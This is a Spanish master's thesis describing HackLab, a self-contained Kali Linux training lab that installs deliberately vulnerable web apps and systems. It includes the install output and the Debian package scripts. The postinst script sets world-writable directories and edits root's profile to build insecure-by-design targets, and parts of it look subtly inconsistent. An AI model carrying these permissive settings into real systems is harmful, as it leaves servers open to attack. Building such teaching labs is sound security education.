Descargar como pdf o txt
Descargar como pdf o txt
Está en la página 1de 123

Escola Tècnica Superior d’Enginyeria

Electrònica i Informàtica La Salle

Treball Final de Màster

Màster en Ciberseguretat

HackLab
Laboratorio autocontenido de
Seguridad de la Información

Alumne Professor Ponent

Pablo Urmeneta Almudena Alcaide


ACTA DE L'EXAMEN
DEL TREBALL FI DE MÀSTER

Reunit el Tribunal qualificador en el dia de la data, l'alumne

D. Pablo Urmeneta

va exposar el seu Treball de Fi de Màster, el qual va tractar sobre el tema següent:

HackLab
Laboratorio autocontenido de
Seguridad de la Información

Acabada l'exposició i contestades per part de l'alumne les objeccions formulades pels
Srs. membres del tribunal, aquest valorà l'esmentat Treball amb la qualificació de

Barcelona,

VOCAL DEL TRIBUNAL VOCAL DEL TRIBUNAL

PRESIDENT DEL TRIBUNAL


HackLab
Laboratorio autocontenido de
Seguridad de la Información

Pablo Urmeneta

La Salle, Universitat Ramon Llull


Supervisora: Almudena Alcaide

Barcelona, noviembre de 2015


Resumen

Entorno de pruebas autocontenido que contemple en un único sistema los diferentes ob-
jetivos/escenarios de ataque orientado a la educación y el autoaprendizaje.

Palabras Clave: Ciberseguridad, hacking, laboratorio


Índice general

1. Introducción 1

2. Despliegue 2

3. Escenarios contemplados 3

4. Pruebas sobre entornos Web 4

4.1. Escenarios disponibles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

4.1.1. Damn Vulnerable Web App (DVWA) . . . . . . . . . . . . . . . . . 5

4.1.2. WebGoat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

4.1.3. bWAPP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

4.1.4. NOWASP Mutillidae . . . . . . . . . . . . . . . . . . . . . . . . . . 6

4.2. Guía de prácticas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

4.3. Recursos adicionales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

5. Pruebas sobre infraestructura 8

5.1. Escenarios disponibles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

5.1.1. DVL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

5.1.2. Metasploitable2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

5.1.3. De-ICE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

5.2. Recursos adicionales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

6. Seguridad de aplicaciones móviles 10

7. Ingeniería inversa 11

I
8. Análisis forense 12

9. Ciberinteligencia 13

10.Limitaciones y siguientes pasos 14

10.1. Limitaciones . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

10.2. Siguientes pasos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

11.Conclusiones 15

A. Instalación 16

B. Fichero .deb 20

B.1. Scripts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

B.1.1. control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

B.1.2. postinst . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

B.1.3. postrm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

C. Información de referencia 25

C.1. Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

C.1.1. Guía de prácticas . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

C.1.2. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

C.1.3. Manuales y cheatsheets . . . . . . . . . . . . . . . . . . . . . . . . . 27

C.1.4. Fuentes de ejercicios . . . . . . . . . . . . . . . . . . . . . . . . . . 27

C.2. Resolución de DVWA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30

C.3. Resolución de bWAPP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46

C.4. Infraestructuras . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

C.4.1. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

C.4.2. Manuales y cheatsheets . . . . . . . . . . . . . . . . . . . . . . . . . 81

C.4.3. Fuentes de ejercicios . . . . . . . . . . . . . . . . . . . . . . . . . . 82

C.5. Auditoría de infraestructura De-ICE: Informe de resultados . . . . . . . . . 84

C.6. Aplicaciones móviles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109

II
C.6.1. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109

C.6.2. Manuales y cheatsheets . . . . . . . . . . . . . . . . . . . . . . . . . 109

C.6.3. Fuentes de ejercicios . . . . . . . . . . . . . . . . . . . . . . . . . . 110

C.7. Reversing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110

C.7.1. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110

C.7.2. Manuales y cheatsheets . . . . . . . . . . . . . . . . . . . . . . . . . 111

C.7.3. Fuentes de ejercicios . . . . . . . . . . . . . . . . . . . . . . . . . . 111

C.8. Forensics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113

C.8.1. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113

C.8.2. Manuales y cheatsheets . . . . . . . . . . . . . . . . . . . . . . . . . 113

C.8.3. Fuentes de ejercicios . . . . . . . . . . . . . . . . . . . . . . . . . . 113

C.9. Ciberinteligencia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115

C.9.1. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115

III
Capítulo 1

Introducción

Hay muchas personas que quieren iniciarse o mejorar sus aptitudes en el ámbito de la
ciberseguridad, pero por limitaciones infraestructurales no disponen de los medios para
llevar a cabo las prácticas.

Para facilitar el trabajo docente y facilitar el autoaprendizaje se ha desarrollado una


infraestructura autocontenida que contine tanto las herramientas como los diferentes ob-
jetivos sobre los que realizar prácticas, los cuales están diseñados considerando las nece-
sidades de los aprendices de hacker, ya sean novatos o experimentados.

1
Capítulo 2

Despliegue

La infraestructura podrá desplegarse en instalaciones Debian compatibles con ficheros


de instalación .deb tanto en entornos físicos como virtuales.

El principal objetivo es distribuir contenidos orientados específicamente al aprendizaje


empaquetados y fácilmente desplegables, de forma que se pueda disponer de un entorno
de pruebas homogéneo de una forma ágil.

Debido al gran número de distribuciones disponibles orientadas a la ejecución de he-


rramientas de seguridad la infraestructura contemplada en este ejercicio se centra en el
despliegue de objetivos sobre una plataforma de pruebas ya existente. Debido a su calidad
y el nivel de mantenimiento se propone el uso de Kali Linux como base para el despliegue
del HackLab.

Para agilizar el proceso de despliegue son necesarios dos comandos según se detalla en
el Anexo A en la página 16. Esto es debido al despliegue mediante ficheros de despliegue de
paquetes de Debian1 , que incluye tanto los ficheros a desplegar como el script de despliegue
de los mismos, según se detalla en el Anexo B en la página 20

1
https://es.wikipedia.org/wiki/Deb

2
Capítulo 3

Escenarios contemplados

La infraestructura de pruebas contempla soluciones y/o ejercicios de las siguientes


áreas de la ciberseguridad:

Aplicaciones web, contemplando los siguientes ejercicios detallados en el capítulo 4:

• Damn Vulnerable Web App (DVWA)


• WebGoat
• bWAPP
• NOWASP Mutillidae

Infraestructuras (sistemas operativos, aplicaciones y servicios), contemplando los


siguientes ejercicios detallados en el capítulo 5:

• Damn Vulnerable Linux (DVL)


• Metasploitable2
• De-ICE

Adicionalmente, los ejercicios se complementan con un repositorio de información des-


plegado localmente con referencias a contenidos (herramientas, manuales y cheatsheets,
enlaces...) referentes a las áreas anteriores y las siguientes áreas de la ciberseguridad, según
se detalla en el anexo C:

Infraestructuras (redes cableadas e inalámbricas)

Aplicaciones móviles

Ingeniería inversa

Análisis forense

Ciberinteligencia

3
Capítulo 4

Pruebas sobre entornos Web

En este capítulo introduciremos los diferentes entornos web vulnerables que se des-
pliegan en el HackLab, junto a una pequeña guía orientativa en cuanto a la dificultad de
resolución de los diferentes escenarios.

4.1. Escenarios disponibles

A continuación se describen los diferentes escenarios referentes a la seguridad en apli-


caciones web desplegados en el HackLab:

Damn Vulnerable Web App (DVWA)

WebGoat

bWAPP

NOWASP Mutillidae

Destacar que la mayoría de ellos se basan o inspiran en el OWASP Top 101 de la


OWASP (Open Web Application Security Project)2 . Esto es debido, principalmente, al
hecho que la OWASP es una de las organizaciones que más se ha centrado en las vulne-
rabilidades web y es un referente en este ámbito de la seguridad de la información.
1
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
2
https://www.owasp.org/

4
4.1.1. Damn Vulnerable Web App (DVWA)

La Aplicación Web Condenadamente Vulnerable (DVWA3,4 según las siglas inglesas),


desarrollada por RandomStorm5 , se corresponde a una aplicación PHP soportada por
MySQL orientada al aprendizaje y a la ejecución de pruebas de ciberseguridad de forma
legal.

Se presentan un total de 10 retos, cada uno de ellos con diferentes implementaciones


según el nivel de protección (bajo, medio alto, según se explican en el apartado C.1.1).

Destacar que facilita la visualización del código fuente, hecho que la hace un muy buen
punto de partida para cada uno de los niveles de protección.

En el anexo C.2 se encuentra la guía de resolución de los ejercicios de nivel bajo


propuestos en este entorno.

4.1.2. WebGoat

WebGoat6 también es un proyecto soportado por OWASP7 y está orientado al auto-


aprendizaje ya que facilita el acceso al código fuente, apuntes teóricos de la vulnerabilidad
a explotar, pistas en la resolución y la propia solución.

De los entornos incluidos es el único que contiene aplicaciones web programadas en


Java, permitiendo validar vectores de ataque adicionales a los contemplados en los escena-
rios anteriores, que son principalmente PHP. Debido a este hecho, no es posible mantener
activo el servicio que soporta este escenario y el resto de entornos web.

4.1.3. bWAPP

El entorno bWAPP8,9 , desarrollado por Malik Mesellem, está basado en el OWASP


Top 10, disponiendo de distintos retos para cada una de las principales vulnerabilidades
con diferentes implementaciones según el nivel de protección (bajo, medio alto, según se
explican en el apartado C.1.1).

Destacar que algunas de las vulnerabilidades requieren de infraestructura vulnerable


y no se podrán reproducir en el entorno HackLab planteado. Estas vulnerabilidades se
encuentran debidamente identificadas

En el anexo C.3 se encuentra la guía de resolución de algunos de los ejercicios más


relevantes propuestos en este entorno.
3
http://www.dvwa.co.uk/
4
https://github.com/RandomStorm/DVWA
5
https://www.randomstorm.com/
6
http://webgoat.github.io/
7
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
8
http://www.mmeit.be/bWAPP/
9
http://sourceforge.net/projects/bwapp/

5
4.1.4. NOWASP Mutillidae

“OWASP Mutillidae II: Web Pwn in Mass Production” 10,11 ha sido desarrollado por
Jeremy Druin (webpwnized) basado en el proyecto Mutillidae12 de Adrian “Irongeek”
Crenshaw.

Se encuentra dentro de los proyectos de la OWASP y se basa en el ya mencionado


“Top 10” de vulnerabilidades en aplicaciones web.

4.2. Guía de prácticas

Si bien los retos propuestos en los diferentes escenarios son en muchos casos equivalen-
tes y se basan en las mismas vulnerabilidades, cada uno de ellos tiene sus particularidades
en la implementación de las vulnerabilidades como en las estrategias de mitigación apli-
cadas, y es por ello que se ha decidido desplegar varios entornos que ofrezcan el mayor
número de retos al usuario.

Destacar que en la mayoría de los entornos se definen varios niveles de dificultad para
los diferentes retos planteados que, en general, se corresponden a:

Bajo (low) si no se ha aplicado ningún control para prevenir ataques

Medio (medium) si se han implementado controles mitigantes pero su efectividad


no es del 100 % (p.ej.: la implementación es incorrecta o parcial)

Alto (high) si se aplican las buenas prácticas y se obtiene un nivel de protección


equivalente al deseable en entornos productivos

Adicionalmente se ha desplegado un cortafuegos de aplicación web (Web Application


Firewall, WAF). La solución implementada es ModSecurity13 , el cual ha sido configurado
con las reglas definidas en el proyecto OWASP ModSecurity Core Rule Set (CRS)14 . En
caso de activarlo el usuario podrá validar que, aunque una página sea vulnerable a un
cierto vector de ataque, el WAF puede realizar una mitigación del mismo.

Considerando los entornos, y para realizar las pruebas con un nivel progresivo de
dificultad, se recomienda afrontar los retos en el siguiente orden:

1. validar que el WAF se encuentra desactivado de cara a descubrir los diferentes


vectores de ataque disponibles en las aplicaciones web

2. realizar los retos de DVWA nivel bajo (ver anexo C.2)


10
https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project
11
http://sourceforge.net/projects/mutillidae/
12
http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10
13
https://modsecurity.org/
14
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project

6
3. realizar los retos de WebGoat

4. realizar el resto de niveles bajos (bWAPP, Mutillidae)

5. realizar los retos de DVWA nivel medio

6. realizar el resto de niveles medios (bWAPP, Mutillidae)

7. realizar los retos de DVWA nivel alto

8. realizar el resto de niveles altos (bWAPP, Mutillidae)

9. habilitar el WAF para validar la eficacia de las reglas desplegadas (CRS) en entornos
vulnerables

10. validar los vectores de ataque previamente encontrados (niveles bajos)

11. buscar posibles vectores de ataque que evadan la protección del WAF sobre aplica-
ciones web vulnerables (niveles bajos)

4.3. Recursos adicionales

Para facilitar el acceso a recursos relevantes para el hacking de aplicaciones web se ha


desplegado, conjuntamente a los escenarios, un repositorio (ver anexo C) que facilitará al
usuario el acceso a:

Herramientas

Manuales y cheatsheets

Fuentes de ejercicios

Resolución de ejercicios de DVWA

Resolución de ejercicios de bWAPP

7
Capítulo 5

Pruebas sobre infraestructura

En este capítulo introduciremos las diferentes infraestructuras vulnerables que se des-


pliegan en el HackLab, junto a una pequeña guía orientativa en cuanto a la dificultad de
resolución de los diferentes escenarios.

Destacar que los escenarios prácticos se centran en ataques a sistemas operativos


y aplicaciones desplegadas sobre los mismos, sin contemplar el ataque a redes (tanto
cableadas como inalámbricas) debido a las limitaciones introducidas al crear un entorno
HackLab autocontenido.

Adicionalmente, algunos de ellos disponen de servicios web, que en muchos casos de-
berán atacarse con las técnicas planteadas en el capítulo 4 para poder resolver el reto o
explotar un vector de ataque sobre el servidor.

5.1. Escenarios disponibles

En lo referente a seguridad de infraestructuras se proponen distintos escenarios vul-


nerables sobre los que llevar a cabo pruebas de seguridad:

Damn Vulnerable Linux (DVL)

Metasploitable2

De-ICE

5.1.1. DVL

Damn Vulneranble Linux (DVL, http://sourceforge.net/projects/virtualhacking/


files/os/dvl/)es una distribución Linux Live (que no requiere instalación) basada en
BackTrack2 sobre la que se han desplegado servicios vulnerables.

8
5.1.2. Metasploitable2

Como su nombre indica, esta distribución (http://sourceforge.net/projects/metasploitable/


files/Metasploitable2/) es explotable mediante el uso del framework de pentesting
Metasploit.

5.1.3. De-ICE

Los retos De-ICE se componen de distintas imágenes de sistema operativo Live vul-
nerables.
En el HackLabse despliegan los siguientes:

S1_100
S1_110
S1_120
S1_123
S1_130
S1_140
S2_100

Destacar que aunque en algunos casos los retos tienen aspectos en común, cada uno
de ellos es independiente de los demás (no es necesario llevar a cabo el ataque a todos los
sistemas para adelantar en la resolución de uno de ellos).

5.2. Recursos adicionales

Para facilitar el acceso a recursos relevantes para el hacking de infraestructuras se ha


desplegado, conjuntamente a los escenarios, un repositorio (ver anexo C) que facilitará al
usuario el acceso a:

Herramientas
Manuales y cheatsheets
Fuentes de ejercicios
Un informe de vulnerabilidades de un supuesto entorno que consistía en una subred
con tres de los retos De-ICE:
• S1_100
• S1_110
• S1_120

9
Capítulo 6

Seguridad de aplicaciones móviles

Debido al incremento relevante que supondría la inclusión de entornos de pruebas de


aplicaciones móviles en el tamaño HackLab, este apartado se contempla únicamente desde
el punto de vista teórico mediante la aportación de recursos que permitan el acceso a la
información y el software necesario para llevar cabo pruebas de seguridad en aplicaciones
móviles.

Para ello se ha desarrollado un repositorio (ver anexo C) desplegado conjuntamente


con el entorno HackLab autocontenido que incluye los siguientes recursos:

Herramientas

Manuales y cheatsheets

Fuentes de ejercicios

10
Capítulo 7

Ingeniería inversa

Dada la complejidad de la ingeniería inversa del software y la difcultad para orientar


una platafoma de autoaprendizaje, este apartado se contempla únicamente desde el punto
de vista teórico mediante la aportación de recursos que permitan el acceso a la información
y el software necesario para introducirse en el mundo de la ingeniería inversa.

Para ello se ha desarrollado un repositorio (ver anexo C) desplegado conjuntamente


con el entorno HackLab autocontenido que incluye los siguientes recursos:

Herramientas

Manuales y cheatsheets

Fuentes de ejercicios

11
Capítulo 8

Análisis forense

Dada la complejidad del análisis forense y la difcultad para orientar una platafoma de
autoaprendizaje, este apartado se contempla únicamente desde el punto de vista teórico
mediante la aportación de recursos que permitan el acceso a la información y el software
necesario para introducirse en el mundo del análisis forense.

Para ello se ha desarrollado un repositorio (ver anexo C) desplegado conjuntamente


con el entorno HackLab autocontenido que incluye los siguientes recursos:

Herramientas

Manuales y cheatsheets

Fuentes de ejercicios

12
Capítulo 9

Ciberinteligencia

La ciberinteligencia depende altamente de la casuística concreta en la que se deba llevar


a cabo la investigación, hecho que difculta la creación de una platafoma de autoaprendizaje
suficientemente completa. Por ello se plantea este apartado únicamente desde el punto de
vista teórico mediante la aportación de recursos que permitan el acceso a la información
y el software necesario para introducirse en el mundo de la ciberinteligencia.

Para ello se ha desarrollado un repositorio (ver anexo C) desplegado conjuntamente


con el entorno HackLab autocontenido que incluye referencias a herramientas interesantes
en el ámbito de la ciberinteligencia.

13
Capítulo 10

Limitaciones y siguientes pasos

10.1. Limitaciones

Las aplicaciones web e infraestructura desplegadas como escenarios de ataque son


vulnerables por diseño. Nunca deben exponerse a internet, ya que podrían ser explotadas
por un atacante y afectar a la infraestructura productiva subyacente y/o adyacente.

10.2. Siguientes pasos

Mantener el entorno actualizado, incorporando nuevas técnicas de ataque que puedan


aparecer en el tiempo.

Despliegue en entorno cloud compartido (p.ej.: AWS) de forma segura (p.e.: mediante
gateway).

Despliegue de los escenarios de ataque desde las fuentes originales en vez de versiones
estáticas.

Despliegue de escenarios de ataque (máquinas virtuales) mediante docker.

14
Capítulo 11

Conclusiones

El uso de este entorno de pruebas, junto al material complementario, facilitará el


trabajo docente y el autoaprendizaje de aquellas personas que tengan inquietudes en el
ámbito de la Seguridad de la Información, ya sean novatos o experimentados.

Ésto se consigue gracias a:

el entorno autocontenido y su compatibilidad con una de las principales distribu-


ciones de Hacking, Kali Linux, que reducen la dependencia de laboratorios para
aquellas pruebas que no lo necesiten

el consumo limitado de recursos, que permite el despliegue en máquinas de usuario,


incluyendo entornos virtuales

la recopilación de retos con un incremento gradual de la dificultad y con un buen


grado de atomicidad en las pruebas, facilitando el aprendizaje de diferentes técnicas
de forma aislada y progresiva

el compendio de recursos adicionales, que supone un buen punto de inicio para el


aprendizaje e investigación de cara a resolver los retos

la resolución justificada de algunos de los retos propuestos, que puede servir de


punto de partida o un contraste de resultados

Debido a la naturaleza de la Seguridad de la Información, que se encuentra en constante


evolución, no se puede considerar que este trabajo sea final.

15
Apéndice A

Instalación

Para realizar la instalación del HackLab se deberán llevar a cabo los siguientes pasos
sobre un sistema Kali Linux actualizado y que disponga de al menos 20GB libres en el
disco duro:

1. Copiar el fichero hacklab_x.y.z.deb en el sistema, donde x.y.z es la versión del


paquete

2. Ejecutar el comando
dpkg -i hacklab_x . y . z . deb

root@kali :~# dpkg -i hacklab_x . y . z . deb


Selecting previously unselected package hacklab .
( Reading database ... 335102 files and directories currently
installed .)
Preparing to unpack hacklab_x . y . z . deb ...
Unpacking hacklab ( x . y . z ) ...
dpkg : dependency problems prevent configuration of hacklab :
hacklab depends on qemu ; however :
Package qemu is not installed .
hacklab depends on bridge - utils ; however :
Package bridge - utils is not installed .
hacklab depends on libapache2 - mod - security2 ; however :
Package libapache2 - mod - security2 is not installed .
hacklab depends on modsecurity - crs ; however :
Package modsecurity - crs is not installed .

dpkg : error processing package hacklab ( - - install ) :


dependency problems - leaving unconfigured
Errors were encountered while processing :
hacklab

3. Debido a las dependencias del paquete hacklab, no instaladas por defecto en Kali, de
cara a instalar los paquetes pendientes y finalizar la instalación del entorno, ejecutar:
apt - get -f install

y aceptar la instalación de los ficheros propuestos

16
root@kali :~# apt - get -f install
Reading package lists ... Done
Building dependency tree
Reading state information ... Done
Correcting dependencies ... Done
The following extra packages will be installed :
bridge - utils ipxe - qemu libapache2 - mod - security2 libfdt1
libiscsi2 librados2 librbd1 libseccomp2 libspice - server1
li bu sb red ir pa rse r1 libvdeplug2 libxen -4.4 libxenstore3 .0
modsecurity - crs openbios - ppc openbios - sparc openhackware
qemu qemu - slof qemu - system qemu - system - arm
qemu - system - common qemu - system - mips qemu - system - misc
qemu - system - ppc qemu - system - sparc qemu - system - x86
qemu - user qemu - user - binfmt qemu - utils seabios sharutils
Suggested packages :
lua geoip - database - contrib qemu - user - static vde2 sgabios
ovmf debootstrap
The following NEW packages will be installed :
bridge - utils ipxe - qemu libapache2 - mod - security2 libfdt1
libiscsi2 librados2 librbd1 libseccomp2 libspice - server1
li bu sb red ir pa rse r1 libvdeplug2 libxen -4.4 libxenstore3 .0
modsecurity - crs openbios - ppc openbios - sparc openhackware
qemu qemu - slof qemu - system qemu - system - arm
qemu - system - common qemu - system - mips qemu - system - misc
qemu - system - ppc qemu - system - sparc qemu - system - x86
qemu - user qemu - user - binfmt qemu - utils seabios sharutils
0 upgraded , 32 newly installed , 0 to remove and 0 not upgraded .
1 not fully installed or removed .
Need to get 70.0 MB of archives .
After this operation , 378 MB of additional disk space will be used .
Do you want to continue ? [ Y / n ]

Durante la instalación se cargarán diversas páginas web. El usuario deberá seguir los pasos
de instalación propuestos en cada una de las siguientes URLs:

bWAPP (http://localhost/bWAPP/setup.php)

DVWA (http://localhost/DVWA/setup.php)

Mutillidae (http://localhost/mutillidae/set-up-database.php)

17
Figura A.1: Instalación de bWAPP

18
Figura A.2: Instalación de Damn Vulnerable Web App

Figura A.3: Instalación de OWASP Mutillidae

19
Apéndice B

Fichero .deb

Los ficheros incorporados en el fichero de distribución de software preparado para


facilitar el despliegue del HackLab es:
/ hacklab_pkg /
| - - DEBIAN
| | - - control
| | - - postinst
| | - - postrm
| | - - preinst
| ‘-- prerm
| - - etc
| | - - apache2
| | ‘-- mods - available
| | ‘-- mod - security . conf
| | - - network
| | ‘-- interfaces
| ‘-- xdg
| ‘-- menus
| ‘-- applications - merged
| ‘-- hacklab - applications . menu
| - - hacklab
| | - - 0 _INSTALL
| | | - - bWAPPv2 .2. zip
| | | - - config . inc . php
| | | - - DVWA -1.0.8. zip
| | | - - dvwa_captcha . php
| | | - - metasploitable - linux -2.0.0. zip
| | ‘-- mutillidae -2.6.19. zip
| | - - bWAPP . sh
| | - - De_ICE
| | | - - De - ICE_S1 .100. iso
| | | - - De - ICE_S1 .110. iso
| | | - - De - ICE_S1 .120. iso
| | | - - De - ICE_S1 .123. iso
| | | - - De - ICE_S1 .130. iso
| | | - - De - ICE_S1 .140. iso
| | ‘-- De - ICE_S2 .100. iso
| | - - D e _ IC E _S 1 _ 10 0 _s t ar t . sh
| | - - D e _ IC E _S 1 _ 11 0 _s t ar t . sh
| | - - D e _ IC E _S 1 _ 12 0 _s t ar t . sh
| | - - D e _ IC E _S 1 _ 12 3 _s t ar t . sh

20
| | - - D e _ IC E _S 1 _ 13 0 _s t ar t . sh
| | - - D e _ IC E _S 1 _ 14 0 _s t ar t . sh
| | - - D e _ IC E _S 2 _ 10 0 _s t ar t . sh
| | - - DVL
| | ‘-- DVL_1 .5 _I n f ec t io u s_ D i se a se . iso
| | - - DVL_start . sh
| | - - DVWA . sh
| | - - . images
| | | - - armitage . jpeg
| | | - - bee_1 . png
| | | - - De - ICE . png
| | | - - DVL . jpeg
| | | - - DVL . png
| | | - - DVWA . png
| | | - - metasploit . jpeg
| | ‘-- mutillidae . png
| | - - M e t a s p l o i t a b l e 2 _ s t a r t . sh
| | - - mutillidae . sh
| | - - WAF_disable . sh
| | - - WAF_enable . sh
| | - - WebGoat -6.0.1 - war - exec . jar
| | - - WebGoat_start . sh
| ‘-- WebGoat_stop . sh
‘-- root
‘-- . local
‘-- share
| - - applications
| | - - bWAPP . desktop
| | - - DVL . desktop
| | - - DVWA . desktop
| | - - Metasploitable2 . desktop
| | - - mutillidae . desktop
| | - - OpenVAS . desktop
| | - - S1_100 . desktop
| | - - S1_110 . desktop
| | - - S1_120 . desktop
| | - - S1_123 . desktop
| | - - S1_130 . desktop
| | - - S1_140 . desktop
| | - - S2_100 . desktop
| | - - SQL Demo Codebashing . desktop
| | - - WAF_disable . desktop
| | - - WAF_enable . desktop
| | - - WebGoat_start . desktop
| ‘-- WebGoat_stop . desktop
‘-- desktop - directories
| - - hl_01_webs . directory
| - - hl_02_03_deIce . directory
| - - hl_02_infra . directory
‘-- hl_09_scripts . directory

18 directories , 69 files

B.1: Estructura de ficheros del paquete .deb

De los que cabe destacar:

DEBIAN: Carpeta en la que se incluye la información necesaria para el correcto des-

21
pliegue del paquete mediante los ficheros:

• control: información general del paquete


• preinst: script a ejecutar antes del despliegue del paquete (no utilizado en el
despliegue del HackLab)
• postinst: script a ejecutar después del despliegue del paquete
• prerm: script a ejecutar antes de la eliminación del paquete (no utilizado en el
despliegue del HackLab)
• postrm: script a ejecutar después de la eliminación del paquete

root/.local/share: carpeta del usuario local del sistema en la que se despliegan:

• applications: ficheros a incorporar en el menú de aplicaciones del usuario


• desktop-directories: estructura de carpetas para el menú HackLab.

El resto de ficheros se encuentran en la carpeta hacklab, que contiene los ficheros a


copiar en el dispositivo destino para poder ejecutar los distintos escenarios del HackLab.

B.1. Scripts

A continuación se despliegan los principales scripts de instalación y eliminación del


paquete de software y que se encuentran en la carpeta DEBIAN:

B.1.1. control
Package : hacklab
Version : 0.1.0
Architecture : all
Essential : no
Priority : optional
Depends : apache2 , php5 , php5 - curl , qemu , bridge - utils ,
libapache2 - modsecurity | libapache2 - mod - security2 , modsecurity - crs
Maintainer : Pablo Urmeneta
Installed - Size : 4320500
Description : HackLab environment to be deployed over a clean Kali
Linux for local testing .

B.2: Fichero de control del paquete .deb

B.1.2. postinst

22
#!/ bin / bash

/ etc / init . d / networking stop


/ etc / init . d / networking start

echo "" >> / root /. profile


echo "# Reinicio de networking al iniciar sesi ó n gr á fica " >>
/ root /. profile
echo "/ etc / init . d / networking stop " >> / root /. profile
echo "/ etc / init . d / networking start " >> / root /. profile
echo "" >> / root /. profile

if [ -d / var / www / html ]; then


web_path =/ var / www / html
else
web_path =/ var / www
fi

echo " Instalando aplicaciones web en $web_path "

rm $web_path / index .*
unzip / hacklab /0 _INSTALL / bWAPPv2 .2. zip -d $web_path /
rm / hacklab /0 _INSTALL / bWAPPv2 .2. zip
chmod 777 $web_path / bWAPP / passwords /
chmod 777 $web_path / bWAPP / images /
chmod 777 $web_path / bWAPP / documents /
mkdir $web_path / bWAPP / logs /
chmod 777 $web_path / bWAPP / logs /

unzip / hacklab /0 _INSTALL / DVWA -1.0.8. zip -d $web_path /


mv $web_path / DVWA -1.0.8 $web_path / DVWA
cp / hacklab /0 _INSTALL / config . inc . php $web_path / DVWA / config /
mv $web_path / DVWA / vulnerabilities / captcha / index . php
$web_path / DVWA / vulnerabilities / captcha / index . php . bak
cp / hacklab /0 _INSTALL / dvwa_captcha . php
$web_path / DVWA / vulnerabilities / captcha / index . php
chmod 777 $web_path / DVWA / hackable / uploads

unzip / hacklab /0 _INSTALL / mutillidae -2.6.25. zip -d $web_path /


chmod 777 -R $web_path / mutillidae / data

a2enmod rewrite
a2enmod ssl
a2ensite default - ssl

cp / etc / modsecurity / modsecurity . conf - recommended


/ etc / modsecurity / modsecurity . conf
sed -i ’/ SecRuleEngine DetectionOnly / c \ SecRuleEngine On ’
/ etc / modsecurity / modsecurity . conf

cp / usr / share / modsecurity - crs / / etc / modsecurity /

for f in / etc / modsecurity / base_rules /* ; do sudo ln -s


/ etc / modsecurity / base_rules / $f
/ etc / modsecurity / activated_rules / $f ; done

23
for f in / etc / modsecurity / optional_rules /* ; do sudo ln -s
/ etc / modsecurity / optional_rules / $f
/ etc / modsecurity / activated_rules / $f ; done

a2enmod headers

/ etc / init . d / mysql start


/ etc / init . d / apache2 reload
/ etc / init . d / apache2 restart

echo "" >> / root /. profile


echo "# Reinicio de mysql y apache2 al iniciar sesi ó n gr á fica " >>
/ root /. profile
echo "/ etc / init . d / mysql start " >> / root /. profile
echo "/ etc / init . d / apache2 start " >> / root /. profile
echo "" >> / root /. profile

iceweasel http :// localhost / bWAPP / install . php


http :// localhost / DVWA / setup . php
http :// localhost / mutillidae / set - up - database . php &

unzip / hacklab /0 _INSTALL / metasploitable - linux -2.0.0. zip -d / root


rm / hacklab /0 _INSTALL / metasploitable - linux -2.0.0. zip

echo " Instalaci ó n del HackLab finalizada "

B.3: Script de instalación del paquete .deb

B.1.3. postrm
#!/ bin / bash

if [ -d / var / www / html ]; then


web_path =/ var / www / html
else
web_path =/ var / www
fi

echo " Eliminando aplicaciones web en $web_path "

rm -r $web_path / bWAPP
rm -r $web_path / DVWA
rm -r $web_path / mutillidae

rm -r / hacklab

echo ’ Eliminaci ó n automatizada del HackLab finalizada ’


echo " Para la eliminaci ó n completa se deber á modificar
/ root /. profile eliminando las filas incorporadas durante la
instalaci ó n "
echo " Se ha mantenido ModSecurity configurado . La carpeta de
configuraci ó n es / etc / modsecurity "

B.4: Script de eliminación del paquete .deb

24
Apéndice C

Información de referencia

Según se ha explicado en los apartados anteriores, al instalar el paquete del entorno


HackLab, se desplegará localmente un repositorio de referencias a recursos relacionados
con las áreas de la ciberseguridad contempladas en este documento:

Aplicaciones web

Infrastructuras

Aplicaciones móviles

Ingeniería inversa

